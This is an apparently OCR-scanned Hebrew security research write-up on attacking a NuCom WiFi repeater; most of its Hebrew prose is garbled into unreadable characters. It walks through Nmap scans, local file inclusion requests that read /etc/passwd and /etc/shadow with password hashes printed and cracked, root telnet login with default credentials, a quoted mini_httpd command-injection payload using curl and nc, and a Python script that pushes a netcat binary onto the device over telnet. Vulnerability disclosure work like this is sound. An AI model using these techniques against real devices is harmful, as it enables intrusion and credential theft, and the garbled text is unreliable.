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CVE-2017-8770 - Local File Inclusion.
CVE-2017-8771 - Command Injection through WAN.
CVE-2017-8772 - Default Login Credentials.

H wonNoe

CVE-2017-13713 - Command Injection through HTTP.
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C:\Program Files\nmap-7.01>nmap -sn 10.160.102.0/24

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-20 11:17

Nmap scan report for 10.100.102.1

Host is up (©.031s latency).

MAC Address:

Nmap scan report for 10.100.102.17

Host is up (©.00s latency).

MAC Address:

Nmap scan report for 10.100.1062.51

Host is up (©.00s latency).

MAC Address: (NuCom HK)
Nmap scan report for 10.100.102.7

Host is up.

Nmap done: 256 IP addresses scanned in 3.33 seconds

-0 NAIMd 7Y n'M7NNnn NN Nt 9"yl ,10.100.102.7 NWA NN XXM 117¢ 27N D K¥YN)

[P NTI - (217 22102 MmN ,N1'o NNan) 'NuCom HK' nNanY ndv'ww Nambd Anit Xin ,MAC

NIN
8% NuCom HK Lid.
ID: 13597

Vendor NuCom HK Ltd.
Vendor code nucom_hk_ltd
Addresses Unit B 11/F, Eton Bldg, 288 Des Voeux Rd. Central

Hong Kong Hong Kong 00852
Country China
Country code CN
Assigned MAC range format 1 format 2 format 3

TED9OF XX IXX 7E-DO-9F - xx-Xx-XX 7BD9.9Fxx.xxxX

NIYXNNI ;0" 2101 NIROY'AN NIN'YN ,D'VIIDN NP0 A7WT7 'wnin? 7211 ,17w NAINdN ' 7AW YD

:Nmap "70aw A-n T

C:\Program Files\nmap-7.01>nmap -A 10.100.102.52

Starting Nmap 7.01 ( https://nmap.org ) at 2017-08-20 11:27
Nmap scan report for BE126 (10.100.102.52)
Host is up (©.0032s latency).
INot shown: 997 closed ports
PORT STATE SERVICE |VERSION
23/tcp |open telnet |BusyBox telnetd 1.0
open http mini_httpd 1.19 19dec2003

|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1050/tcp lopen http mini_httpd 1.19 19dec2003
| http-auth:

HTTP/1.1 401 Unauthorized

_ Digest realm=dirname nonce=d90c940280ccbedfc89c0c6edb7f701b uri=/ qop=auth opaque=0123456789987654 algorithm=MD5
_http-title: 401 Unauthorized
MAC Address: (NuCom HK)
Device type: WAP
Running: Linux 2.4.X
0S CPE: cpe:/o:linux:linux kernel:2.4.3
0S details:| DD-WRT v24-sp1 (Linux 2.4.3
Network Distance: 1 hop

6
6

)

ADDRESS
3.24 ms BE126 (10.100.102.52)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.11 seconds

C:\Program Files\nmap-7.01>

[nnmna nr 1'wn o7wnn? wr ,DHCP-> INNTan 2y 52-7 51-n N7 nmnwn IP-n N2Imd - np'1an 770N ' m]
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D NIK7 N2
.Kernel 2.4.36 NOY'a NNN N¥1 WK ,Linux a10n X'N n72yonn ndwn aio .1

.BusyBox telnetd 1.0 iImo1'al ,23 092 Telnet NIN'W 790N V1'woiInnw NIXY? N1 .2

Man in the N9PNN NIWYXNANRA NI - [9¥IN K7 717710090 VTN Telnet 7170NOY X7 W
JAY N1Iavynn DX 91007 N1 LAN-n nwla Middle

.mini_httpd 1.19 noY*a 72y ya Web-n pwnnaw HTTP-n nn'w .3

qANN2 NI'YID NIAY DNYRE LY 1T mini_httpd 1.19-0 NN D X¥N1 M0 NPT INKY

:Exploit-DB

Elpln IT * Home Exploits Shellcode Papers Google Hacking Database Submit Search
DATABASE

mini_httpd 1.18 - HTTP Request Escape Sequence Terminal
Command Injection

EDB-ID: 33500 Author: evilaliv3 Published: 2010-01-11
CVE: CVE-2009-4490  Type: Remote Platform: Multiple
Aliases: N/A Advisory/Source: Link Tags: NfA
E-DB Verified: Exploit: § Download /[ View Raw  Vulnerable App: N/A
« Previous Exploit Next Exploit »

source: hittp://www.securityfocus.com/bid/37714/info

Acme 'thttpd® and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input
in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects thttpd 2.25b and mini_httpd 1.19;| other versions may also be affected.

curl -kis http://localhost/¥1b¥sd¥32%3bH6T %7 7H6eXo5K04%BTHBa

echo -en "GET /\x1b]2;owned?\x@7\x0a\xe8d\x0a\x@d" > payload
nc localhost 88 < payload

Web-n nn'w? HTTP nupa nn'yw T 9y Command Injection Y¥2%7 117 NWONN IT NIY'AS

.CURL "> niy¥xnxa

Don’t Repeater Me - X 770’
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Web-n punn? nnannn

T 'R 12NN L7101 pwnnd wnwn WX GHTTP 71710092 80 01192 |'TRA 2ADINY 117w TNKY

‘17221 Chrome [9T9T

Password: |

Remember my password

Login

YN 197 DI root ,admin 123 - 7TNNN DTN NINTTA 'O19 DY 12ANNNY 710 DT N0V |amd

.Inxy pwnnn 2y Brute Force y¥1Y

1n1192 nNNIX - Xno'on NaMA ‘admin' NYUENY [1'011 INXT

Connection Wizard

% Set-up
“ Click the Start button below to begin connecting the WiFi Extender to your broadband hub/router.
4 Advanced -
A ‘Wireless Connection to Router/Hub

J

|
‘)@Sysh;mi | Wireless network/SSID

|

Xinternet_5
. Wireless security WPA2-PSKIAES]
= Logout Connection status: Connected

Extender Wireless Network
2.4GHz Wireless network/SSID
2.4GHz Wireless security
5GHz Wireless network/SSID:
5GHz Wireless security

Xinternet_5_2GExt
WPA2-PSKAES]
internet_5_5GExt
WPA2-PSKAES]

Start || Refresh

NX7N NTAY |2 Proxy-d Wnwn YUK 75 - Burp Suite 701 1TV ,pwnnin NIYpA DX NIEn? nan 7y

.nxy amn 17 Ny
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,NRN UMS5NA VIV'Y NYA .NIYN [T NIN7wIY HTTP-N NIYPA DX IPNNY7 751 250 nama

7w HTTP Request-2 1avIin CWK 'getpage' DWA TIWN T0UNT9 NN |2 701 TWUR T DY D DKM

QTN MIX
E Burp Suite Free Edition v1.7.17 - Temporary Project [m| X
Burp Intruder Repeater Window Help
[ Target T Proxy T Spider T Scanner T Intruder I Repeater I Seguencer T Decoder T Comparer T Extender T Project options I User options I Alerts ]
J tercept T HTTP history ]’ WebSockets history ]’ Options ]
# | Requestio hitp./s10.100.102.75.80
l Forward J l Drop J [ Interceptis on ] Action Comment this item == ?

Raw | Params | Headers | Hex

GET /cgi—]Jin/we]:proc?Eatpage=fetcfpassvgll&errorpage:htmlfmain.html&var:J. TLEMn L USEVAr: upivar: login=trusivar:page=wizard
HTTP/1.1

Host: 10.100.102_ 75

Cache-Control: nax—-age=0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/E0.0.3112.90 Safari/537.36
Upgrade-Insecure-Requests: 1

e

Accept: text/html,application/xhtmltxznl,application/xml;q=0.9,inage /webp, inage/apng,*/*;q=0.8
Accept-Language: he-IL he;gq=0.8,en-U3;q=0.6,en;q=0._4

Cockie: sessionid=4a8d5he3; auth=ck; expires=Sun, 15-May-Z117 01:45:4E GHT; langmanulset=yes; sys_UserName=admin; expires=Ion,
31-Jan-Z2112 1&£:00:00 GHT; language=en_us

Connection: close

D'¥ap X7 17 NMwWoNN YUK LLFI - Local File Inclusion a10n NIyas 1w D 1IX¥N AT 10N19]

.InXy 1570 1NN 0'n'1s

D'YNNYNN NINY NIX 75N UK ,12 D21y D'97INY Yalp - '/etc/passwd' Yalp NX XINpP?7 non

:Linux A10n N7Y9NN N>IWN2 D'R¥NIY D'NINN

I, Burp Suite Free Edition v1.7.17 - Temporary Project

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T

_[ ntercept T HTTP history TWEhSDCkEﬁShiSTDW T Optionz ]

Response from hitp. /10,100,102 74, 80scgi-binswebproc: getpage=retcspazswdaerrorpage=ht

[ Forward J [ Drop J [ Interceptis on ] Action
_[ Raw T Headers T Hex }

HTTPF/1.0 200 0K

Content-type: text/html
Cache-Control: neo-cache
set-cookie: sessionid=55850ees;
set-cookie: auth=ok;

set-cookie: expires=5un, 15-May-2112 01:45:48 GMT;

oot :x: 0:0:root: froot: fbinfbash
oot x:-0:0:root: froot: fhinfsh

o 504:-504: - fhome ftw: fbin/bash

wix:504:504: : fhome ftw: fbin/fmsh

.Burp Suite "22n niyxnxa HTTP-n nwpan NTINY (Response) N2IWNN DX NIKY7 N1 .1anY¥N

Don’t Repeater Me - X 770’
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INYNIY NOYNN 'wnnun ¢ n'-Hash-n NX 790 (WK '/etc/shadow' yaly NX XNp? nyd> no1

:'/etc/passwd' yalpa

.root - NINNA NIXKYIN DOV UNNYN NIY¥XNXl N NI'\|7'7 N AT YAl NDXRY |"X'7 U

17X NINYNN DY wnnwn NNN Y1 Web-n NNy Y1 12w httpd-n "720nw iz - i

‘ Burp Suite Free Edition v1.7.17 - Temporary Project
Burp Intruder Repeater Window Help

[ Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer | Extes

_[ ntercept T HTTP history TWehSnckets history T Options ]

Response from hitp: ##10.100.102 74 80/ cgi-binswebproc: getpage=htmlindex. htmlxerrorpage=htmlmain. htmixvar

[ Forward J l Drop J | Interceptis on | Action

Raw | Headers | Hex

ATTESL.0 200 OK

Content-type: text/html

Cache-Control: no-cache

seb-cookie: sessionid=558595ee;

set-cookie: auth=olk;

set-cookie: expires=Sun, 15-May-Z117 01:45:48 GHMT;

Hroot: $15E0¥YMmz SKq5ePIEPSpROGeBcZj1EeLgl. - 13 796:0:99999:7:- - :
root : $15B0Y¥mz SKq5e PJEPSpkQGeBcZj1EeLgl . - 13T796:0:9999%:7: - :
Htw: 5152xEm2v605qEbP fojsrrE fYkaqhmTgV/ - 13796: 0:99999:7: :
#tw: $15zxEm2v60SqEbP fojsrrE /[YkegqRmTgV/ - 13 796:0:99999:7: : -

...root NIXWAN NNN Y1 nn'wn PR © | nn'xan

Shadow Yalja IN¥mIw D'-Hash-n > X¥n1 ,'Rainbow Tables' a10mn Naxn 7im V1VI'KA NPT NKT

:Plain Text-> Xn0'0n NX 72771 ,0NIX NYS7 [N NI 371 ,MD5 a10n 0N

$13B0YmzSKqSePEPSpkQGeBcijlEelql

$15zxEm2v6QSqEbPfojsE/YkzqRm7qV

D'YpANN X 'O nXM] 17X 1N vyl ,23 0oA telnetd NIN'W NIND QDN D 117 INNY

:NNO0'0I WNNWN DY NIVXAKN NINTINY

C:\Users\Hay>telnet 10.100.102.52

‘none) login:

Don’t Repeater Me - X 770’
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:LFI nIy'a9 NIapya n72un? 1IR¥NY NINTTNN '019 DX 01017 No1

B Telnet 10,100.102.52
(none) login: root

Bus 83 HKT) Built-im shell (ash)
Enter "help® for a list of built-in commands.

wx (“Almquist Shell) ash aion (Shell) novyn N72'71 ,root YNNWND MMANNN ,NIKY? [NV IND

© np102 117 NI7A%7 N'7¥n Nmap-w 193 *BusyBox 7V Y1

CLI-n pwnn nm'n

help NITIZ9 NIW¥NXA NXY 2N 720 Nt IR 17K NPT ,CLI-N pwnn nnannnn InxY?

NN NIINNhaY

B¥ Telnet 10.100.102.62
# help

Built-in commands:

« : [ [[ alias bg break cd chdir continue echo eval exec exit
export false fg hash help jobs kill let local pwd read readonly
return set shift source test times trap true type ulimit umask
unalias unset wait

:v1.6.1 N011A2 Busybox-n 2127 Y1 1I'7W 1D NxM)

e source

busybox [function] [arguments]...
[function] [arguments]...

x is a multi

h to use and Bu

like whate

getopt, grep,

.POSIX NoVLN 7w 7011 win'm 7y 72 L Linux-1 D"j7w NDVYN 7w 0N 10 - Almquist Shell *
,T'XNTIX ,Linux DN2I NRIW NI202 71W9Y7 N7 X . TNX NN Yaipa Unix DITIPoI 077 190n Nzoonn N'dIn X4 - Busybox °
.TIVI FreeBSD

Don’t Repeater Me - X 770’
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"testme’ » file
cannot create file: Read-only file system

.1272 Read Only file system-> nTam X' D N7 N1, 10X

22w DT 1'0" MW7 X ,BusyBox-n N9'pY T 7Y 1T N72an qipy7 11'on

W' OXN P1T2] NNIVXNXR] TUNR ,mount6 NTIP9 NX¥IN 12 NMYOINN |'"TY ,CLI-a D'722I1 XY NINNY

2IMD7 [N DN'7RY NID0I1 0¥ NIdYN
BusyBox v1.6.1 (2015-82-89 21:59:083 HKT) Built-in shell (ash)
Enter "help' for a list of built-in commands.

# mount
rootfs on / type rootfs (rw)

/dev/root on / type squashfs (ro,relatime)

null on fproc type proc (rw,relatime})

tmpfs on fvar type tmpfs (rw,relatime)

none on /sys type sysfs (rw,relatime)

devpts on /dev/pts type devpts (rw,relatime,mode=6060

:INQN NN'YO NIVIIDN WK ,NIDO0N D'¥AR NIDIYNA 6 1221V D R

.Embedded ninyna win'wa nk¥xniw Read Only 0'¥aj7 Ndwnd NTaM - Squashfs .1

,[N2'T ,0"0N 2V YT 12D Runtime System Information Nn%? nTynw n'¥ap nd>wn - Proc .2
11 ,nmin

NNY' X7 1T A"P'Na D'Y¥aARD WO D NR? i tmpfs aion o'vap ndwwn - Var .3
Apnnt

[12D User Space-7 Kernel-nn yTn 1avn%? nTyvinw ox¥ap ndwn ,sysfs a1on ndvn - None 4
.Kernel Modules IX ,02a" TN 7V Yy

.N7Y5NN Nd>Yn DY N7 *13 Pseudo Terminal Devices NZ90N TWKR 0'¥a7 NDWN - Devpts .5

D'¥APN NDWN IRYY 11D ,'/var’ D' RN 17V 27 [Ny TR DIpnn - NIKNY NAY 19D

.0'¥2p DN JONKY 1TV K71 Kernel-n NITIX YT 7907 1TV [0 RW-> NN

.17 N7U9NN NDIWNA DAY D'¥AF NIDAWN 17K NIKAY 117 NNWOKRN IT ATI - mount °
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EX Telnet 10.100.102.63

# cd fvar

# echo '"testme' » file

# 1s -1 file

-MW-r--r-- 1 root 7 Jan 1 13:45 file

0'9T'I WNNWNNN VY 727" TWUN ,MIdNAN 7V 112NdW VIYD Bash V970 YIN? NO1 ,N7I>' NNJIND
Jonn 7y INIX

#f cat script.sh
MAME="hello"
echo

echo $NAME

H

.01DINY V7PN WNNWNY? 0'9TNl,TAIY UOMIZONYW NXIY ,NXINN TNKYT

YNN7 072100 NIFMY7 012*1YN 11X ,0'09170 N2 YNINTIIT D'¥A NDIYNYT MDY INIY 11'7'aW TNKY
NIM901 YIN'Y |12 N'2I'¥2219 072211 1INIX 17X D'UDRP0AY |11 ,A10 7y n7un 79n1pm TIp
.(netcat :XnAIT?) Mxy 2O 7w oMt X7 DN DX YON? 20 X7W DI DY7D XN IX

2270 INIX 7W Taynn 10 DR NPT N7'NN 79010 TR yn? nan 2y
# cat /proc/cpuinfo

system type
processor

cpu model

BogoMIPS

tlb entries

mips1l6 implemented

.01V qon VTN I'?Y woN? nol LRTL819xD ion Xin 17w System type-n 210 'D R¥N]
,Github-1 'rtI819x-toolchain' bwa LEND D" D IXXN PNYNOAY ,TAVNN DY 7 WID'N INKY7

1370 X 1’7 PRNONY NIN'ON N7 v 0w SDK 7'on ©1wR
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:0'9011 D'IN0NI D'TAYNN NITO 7w ‘Toolchain-1 1"y nxw Oj712'70 NXON NX 770 XIn AN 2

O Features Business Explore Marketplace Pricing This repository Sign in o1 Sign up
I frederic / rtl819x-toalchain @watch | 2 | dsar 0 YFork 24
<> Code Pull requests 0 Projects 0 Insights
L1

E:I Join GitHub today Dismiss

GitHub is home to over 20 million developers working together to host
and review code, manage projects, and build software together.

rtl819x-toolchain-v3.2.3 - Linux SDK for ALFA AIP-W512

D 30 commits ¥ 1 branch 0 releases A3 1 contributor

1
Branch: master « Find file
Bfrederic update README Latest commit 5c9be5d on 24 Mar 2014
| boards fix mkimg : all files owned by root 4 years ago
| config rtl319x-toolchain-v3.2.3 4 years ago
i linux-2.6.30 rtl819x-toolchain-v3.2.3 4 years ago
| toolchain rtl819x-toolchain-v3.2.3 4 years ago
[ users fix ettercap configure script, disable pcre support 4 years ago
[E .config build config for RTL8196E_88E, with tcpdump & dropbear apps 4 years ago
[E) .config.old build config for RTL8196E_88E, with tcpdump & dropbear apps 4 years ago
[§) .oldconfig build config for RTL8196E_88E, with tcpdump & dropbear apps 4 years ago

N¥INN yaIp IR 11avn? nf7¥a ox Al 09w T Cross Compile wxa% 7o11 toolchain-n narva

JNIX YINT 7511 - 2077 (Kan 77na) nanow

WP TN 790 KN 2T NM2IM YW My I NN NIDIN DM NIN'wn pixaY D'WNNwnn NRdN 7 7w 0o - Toolchain 7
TIVE NIN'AY D9IN ,NIMD0

Yy C NOWA TR Y9077 XKNAITY .2 NNIIDLYD 7V YW 13 'K NNAID0YS Yy TI 79079 72100 AWK Tnim 17oniy - Cross Compiler
ARM M10j70'2X2 Linux 2y Y7 1w 7 oim'il
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a1 n'¥azn nnayva

7901700 XN DX DIN'Y MIYTRORN ¥ 11vn? T OTIPN N Echo N9 wnnwin i
N7 n713' 2m yaiz naynl on 4000 TV XID 2D Do NTIRD 7T i R Y
N Yalzn DR Y'Y '0NI0IR Python V90O 11N NTIAWYN DX V"7 2w D7 ,MINY ATy

Baliral

T 200 1Y IRYNAY SDK-n Dy 17W 7190 NIYYAR] DX 7w TiIg 12 1'avn’ 'on ni'o

import getpass
import sys
import telnetlib
import binascii;
import time

T

Created by Hay and Omer, WIFI Repeater Research @ 2017
ascii_art = """\
I I /ol
[ I e I N I I
L0/ _ NN N U TN N
2 A I /o e NN/
| I\ (I B B N | N O T P O e /1 \ ||
print ascii art
def getInputs() :
HOST = raw_input ("Enter your remote ip: ")
command = ""
user = raw_input("Enter your remote account: ")
password = getpass.getpass()
return HOST, user, password
def openTelnetConneciton(host, user, password):
tn = telnetlib.Telnet (host)
tn.read until("login: ")
tn.write(user + "\n")
if password:
tn.read until("Password: ")
tn.write(password + "\n'")
return tn
def writeCommands (tn) :
formatted file = ""
MAX COMMAND SIZE = 4000
tn.write("cd /var\n")
filepath = raw_input ("Enter your local file path: ")
remote file name = raw_input ("Enter your remote file name: ")

Don’t Repeater Me - X 770’
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print "reading file"

file = open(filepath,'rb")
file content = file.read()
file.close()

print "converting file to \\x%2 formatted style"
hex file = binascii.hexlify(file content)

for i in range(0,len(hex file),2):
formatted file += "\\x{}".format (hex file[i:i+42])

chunk size = MAX COMMAND SIZE - 17 - len(remote file name)
chunk size -= chunk size%4

print "begin transfer file"

for i in range(0,len(formatted file),chunk size):
command = "echo -n -e \"{}\" >>
{}".format (formatted file[i:i+chunk size], remote file name)
tn.read until ("#")
tn.write (command+"\n")
got to = i + chunk size;

if got _to < len(formatted file):
command = "echo -n -e \"{}\" >>
{}".format (formatted file[got to:got to+len(formatted file)%chunk size],
remote file name)
tn.read until ("#")
tn.write (command+"\n")

tn.read until ("#")
print "waiting to last transfer to finish"
time.sleep(3)
tn.write("exit\n")
print "transfer sucessful"
if name == " main ":
host, user, password = getInputs()
tn = openTelnetConneciton(host, user, password)
writeCommands (tn)

TIpn v
2'277 72NN DN'R NINTIAN '019 DX YNNWNNN 0770 7271 NN'R WK - getinputs Nxj710 .1
.Web-n pwnnawv Local File Inclusion-n NIy'as NIY¥NXA 1aWN DNIX WK ,V'A9N

NINTTAN '019 NIY¥NKA telnet 11IA'N NND1 NNIWYNKA - openTelnetConnection N"yjIo .2

.getinputs N'¥j71192 NVPY

12717 11yl DNIK D1IY 0'-Chunk-7 yaipn Npi7n 7v N'RINK YUK - writeCommands Ny .3

N

7w NI Ny NNNn - If . _name_ =="__main__
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09"pOoN NXn

- N7 ,97IM 7 9w 00 710K R¥n) WK YD - Netcat bwa 75 2017 1ava L,PoC nnaim
120 0T NIYYT N1 INATYA "QEInn 7w xiwn 17iIRn"

D'¥2p NNayvn

Reverse Shell yix'a

tunneling Ny

079 V77 NNavn

o W N

n'oIo N0

BN C:\Windows\System32\cmd. exe

Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

I
|

Enter your remote ip: 10.100.102.100
Enter your remote account: root
Password:

Enter your local file path: netcat
Enter your remote file name: netcat
reading file

converting file to \x%2 formatted sytle
begin transfer file

waiting to last transfer to finish
transfer sucessful

C:\Users\Hay\Desktop\BEEE BESEEE BEEEES BEEEES

DIIYPNN 277 Yalzn NAvN IXY ,n¥pn DTy v TIign NN
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AN Y

B Telnet 10.100.102.100

(none) login: root

Password:
BusyBox v1.6.1 (2015-82-89
Enter "help’ for a list

# cd fvar
# ./netcat -h

GNU netcat @.7.1, a rewrite of the famous networking tool.

Basic
connect to somewhere:
listen for inbound:

tunnel to somewhere:

usages:

/netcat -1
fnetcat -L hostname:port

21:59:82 HKT) Built-in shell (ash)
of built-in commands.

./netcat [options] hostname port [port]
-p port [options] [hostmame] [port] ...
-p port [options]

Mandatory arguments to long options are mandatory for short options too.
Options:
--close

ceC=PROGRAM

-,

gateway=LIST
--pointer=NUM
--help

interval
--listen
--tunnel=ADDRESS : PORT
- -dont-resolve

output=FILE
--local- vE=NUM
==randomize

source

SECS

close connection on EOF from stdin

program to exec after

connect

source-routing hop point[s], up to 8

5 e-routing pointer: 4, 8,

display this help and exit

2
Ly wswo

delay interval for lines sent, ports scanned

for
1 port to re

mode ,

list
0 d 1

inbound connects

address

numeric-only IP addresses, no DNS

output hexdump traffic to FILE (implies

local port number
randomize

x)

local and remote ports

local source address (ip or hostname)

© 21N 7V netcat 17 v

- NN IXXIN DY DY9)I NITIPOY |11 ,NT 2077 NIV NARNIN WX O|7I]"7 NnoN'aa NaIrmv i

NXINI NN NIZD 17 W' - i X 7w arn 73 9 11wl NNNDY 090N NIYYNNKA

270 7V NIN'M NIKWANA n'x1y?

20
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NIV TY ¥ 2INXY noTNn

NIS0I1 NI'NY'AD TIY KIXNAT7 7212 DRN NIXAT T21 201N N7IYVD DX 7'yn NI [DIXA Fan? nan 7y
AINX? 0TINY 107NN ,WAN-N 70T 20 7 N0 (120,271 VITYWY? N9YW N71D'N DX 17 TA WK

200N Y wnnunn punn 7w nwn T Ni7'al? N

2010 NINT .0'¥APN DIP'M WI9N NIYXNNA ,2'70 7V NINYNY MW TY Nial? AT A7'NN 717
-0 NN'W DX N7WONYW ATIRON MY NX 117 AXIN WK LLinux-1 ps TP win'y T 7y niwyY

-httpd

B Telnet 10.100.102.29

) login: root

ox vi.6.1 (2815-82-89 21: HKT) Built-in shell (ash)
"help® for a list of built-in commands.

uvid 5Z Stat Command
oot 24 SW  init

: L SW< [kthreadd]

3 root S« [ksoftirgd/e]
root SWe [events/a]
root SW¢ [khelper]

5 root Sk< [async .

7 root SW¢ [kblockd/e
T SW [pdflush]
root Sk« [kswapda]
SkW¢ [mtdblock
2 SW fmini_httpd -d fusrfwww -c¢ fcgi-bin/* -u roo
*/sbin/inetd

Jflog/sysevent.txt 12192 Sfvar/
root
@ root '- d -start -c cd-wlan@.cont -w wlan
| d -mode 2 -¢ Juscd-wlan@-vxd. conf -w
wlan®-vxd

"MITAY 'AN7 WWOR NYpMn DY 971, /usr/www/cgi-bin' 2'M1a pnonIXn D'¥AENY NIKYT N1

.cgi’ v

web '9T wnanY T NIMKIA NIYP79KR YNk http 'MWY? WwWOXNY 1710Nn9 ,Common Gateway Protocol - CGI°
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:'Jusr/www/cgi-bin' n"p'nn |pIN2 70N0)

B Telnet 10.100.102.28

i/ Cgi-bin

webupg

VLY 2YUNNYNN PYNN A71IV9 NT'K7 WWIPN YAl TR YT 'R IR ,0¥A7 Y XD 17 W'Y KM

ANTY N71Y9 bYNY ,webproc YaIP? NKIIR PYNNaY n71V9 70 LYNOW X1, Web-n pwnna jamod

.webupg Y2177 nxIpw firmware-n

1901 N'Y7N IXY DTN 1NAYNY netcat "2 win'y T 9 117w 2WNNT D'¥aApn Y DK 1)

n'v'an oy Ny

DdN IoN1 P71 |"yn NQT DIW X¥N1 X7 X webproc yalp NX ngT 'pnn 70N 170NN

.webupg - DWUN YaIpa Tpnnal LI DITpnnn

|2 1D .NIR NINT?I NIND7 N'7¥n KIN D XML DA INIK NINDY N011 webupg NX 117 ww ,nyd
NINYY D NIAPYA MINK? NOTIN Y¥aA? 117 WYY NN NIY71190 NIy 0y 79017 Tignw 17 0'ea

.0"NYI NI'X2115n

:DNN NNd 7V 7DN0a1 ,0Mvn strings DIW' OXN 7172]

sodata:00405F... 00000039 upgrader -¢ %2 -p %8 -u % -w s = Avanfupgrader.log 2> 81

rodata:00405F... 00000005 1.1
sodata:0005F,.. 00000009 password
Jsodata:00405F,.. 00000005 pott
Jodata:0405F... Q0000004 image.img
sodata:00405F... Q0000009 hatp/f

sodata:00405F,.. CD0000E0
rodata:00405F... OD00006S
rodata:004060... 00000016
sodata: 00060, 00000015

ed Searfusibingdwget --no-check-certificate hitps:// % % % -0 imageimg > fvanfwgetleg 2> &1

ed Mvarfusibindwget - Ao~ heck- cerbficate h'l‘.lps:.".l’%::%s@%:: el%s -0 imageamyg > /varfwgetlog 2= 81
mn fvarfimage.img =

m v r.-'n'.gﬂ.ll;-g =rf

Jedata0E06D,.. DODODO0E fvarfwgetlog
sodata:i4060... DDO00D0S 100%
sodata:004060... 0000000 hatpeff

sodata:004060.. O0000043
rodata:004060... ODO0O0JE
rodata:004061... 00000006
Jodata:D061,.. 00000007
Jsodata0061,. COp0004T
sodata:004061... ODOOONMD
sodata:00E061,,. 00000044
Sodata:004062... 00000015

ed Searffusibingdwoget hittpe % %e%s -0 imageimg > fvarfwget.log 2= 81

od Svarfusnbngwget I'l'l‘lpql’.l"ﬁ*&s:%s-@%s:%sf'&s =0 Image.mg > .'".-ar.-'wgdjn-g 281
saved

{140

od Svarfusnbind wget fitpa// % %5 %5 -0 image.img =/varfwget.log 2= &1

od fvarffusnbindwget ftpaf 9 %l 3 %a%s -0 imageimg > Aanfwgetlog 2> &1
Just/bin/thp -g -r % -1 fvarfimageimg 3% % = Avarftitplog 2> 81T

i Svar/titplog -d

#/bin/sh\n s

EIEIEIEEIEEIEIE EIFEIEIE E E EEEELE

O lalaaEila el e lala el aEaEalalalala s aEaNal

|
|

22N 2V NITIRD NXINY NINAND DRI AINY YAXI DWATIAW strings-n 72 NIKYY [N 1D
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NYIDIN KN TIRA P ITA

,http NN NX ¥' NAW NTNNNN DX [N

- = - =

Lui £32, mxan # Load Upper Immediate

11 §al, mxion # maxlen loc_ NOACCE: B Store Word

s Sui, Bx15@+First_stack_space(§sp) 8 Store Mard sy ad, BiS@+sprintf_secao arg_stack{$sp)

la $az, acdvarUsrBinW_1 ¥ “cd Juar/;/fusr/bindwget DLEp://isiXssts .| |move $a3, §a1

jair $t9 ; soprintf # Jumy i tegister Tui §az, mnp % Load Upper [mmediate

su Swd, BxiS@esprintf_second_ Vor 1u $ai, BxiS@spassword{$sp} # Loa

b loc_uBuCF@ § Branch Always la $a2, aCdvarUsrBink_2 ® “cd Juvar/;/fusrs s

nop Su $ul, Bx1SBesprintf third_arg stack{§sp)
54 §a1, B1S@sFirst_stack_space($sp) = 5t
1i $a1, Exipn # naxlen
jair §t9 ; snprintfé  ® Jump And Link Register
54 Sub, Bx150esprintf_fourth_arg_stack($sp) o Store Word

vy

e =

Loc_KONCFB: o Load §

1w gp, E150eqp_value(§sp)

lui al, Exhi # Lo fate

1a t9, systen §

jalr t9 ; systen "

1a am, -

lud am,

1w gp.

la t9, system % Load Add

jalr S0 ; system ® Jump And Link

la Sa0, alsVarbget_legR o “rn / Jdeg -rf"

1w Lgp, B15@sqp_valueldsp) ® 1 o

la £t9, system ¥ Load Add

jalr t9 ; system o Jum in gister

atdiu al, Ssp, Gx150esyste

bnei wi, loc_W@RDTC @ A ero

Lui ul, BxhhD § Load Upper Immediate

‘_I —

NUX91 nYnivn aTivnn nTnnnn D 17 'y n>'any 'V TN, TIYN INWYN KD Y'Y nK1)

Isystem N'¥j72197 10N9D N2YIN NYRAION VYO [N INKRYIL,DMVNIS NND OY snprintf

[9IXQ TIZ NXIN? TYN N9 17 W', wnDwnn 7Y 070 0N IT DY72197 DNAYINY DN0N9NIE NTAd

-globl UPG_HttpProcCtrl
UPG_HttpProcCtrl:

first_stack_space= -8x148
sprintf_second_arg_stack= -8x13C
sprintf_third_arg_stack= -06x138
sprintf_fourth_arg_stack= -8x134
gp_value= -8z138

url= -@2128

user= -@z124

password= -8z128

port= -8211C

dir= -8x118

system_command= -8z114

var_C= -8xC

Flow-n NX pITA7? TNl ,NY) .7NNN

DD 1R NIKN? T NDIMn Y
1INIX DXNI snprintf N"¥j1197 0'012)
NXN1 TIUNN 700 .00 VI7YY7 D7D
ny'on) HTTProcCtrl Dwa n'¥jIo1

DININ DN Y VoY L (TNNWn

var_8= -8 .
var_i= -4 Nkl
addiu sp, —-8x158 # Add Immediate Unsigned
Su ra, l]x15l]+uar_!|($sp) # Store Word
Su =1, l]x15l]+uar_8($sp) # Store Word
Su =@, l]x15l]+uar_[:($sp) # Store YWord 1 1 1
1i gp, 8x41E368 # Load Immediate bwa A XP]ID XA N x,‘mgn n7’nm
su gp, Bx158+gp_value($sp) # Store Word
move a1, $zero ftc IX ,'1|an7 1NOTIN NNIX DAY FtpParse
la t9, memset # Load Address
1i a2, ex100 #n “n . .
move sa, $ab D'V NN V70 NN R'NY T2 X7
jalr t? ; memset # Jump And Link Register
addiu aa, ssp, l]x15l]+sys£em:command # s D"MVNION '7w ODIVN NONIN' DN
la vA, a8 # 80
addiu aa, $sp, Bx158+url # url_ptr
su uB, Bx158+port(§sp) # Store Vord Url, Port, Username, Password, :D'Nan
addiu al, $sp, Bx158+user # user
addiu v@, $sp, @x150+dir # Add Immediate Unsigned .
addiu az, $sp, Bx158+password # password O'RX¥XN1 D"VNYS DNIXI NT'NA ,D|r
addiu a3, $sp, @x158+port # port
s v@, Bx150+first_stack_space{$sp) # dir_ptr
su Zero, l]x15l]+ur1($sp) # Store VWord 'an‘? nn'?W]U HTTP_n .TWJPJJ
Su Zero, l]x15l]+user($sp) # Store Word
Su Zero, l]x15l]+password($sp) # Store UWord
jal UPG_FtpP #J And Link
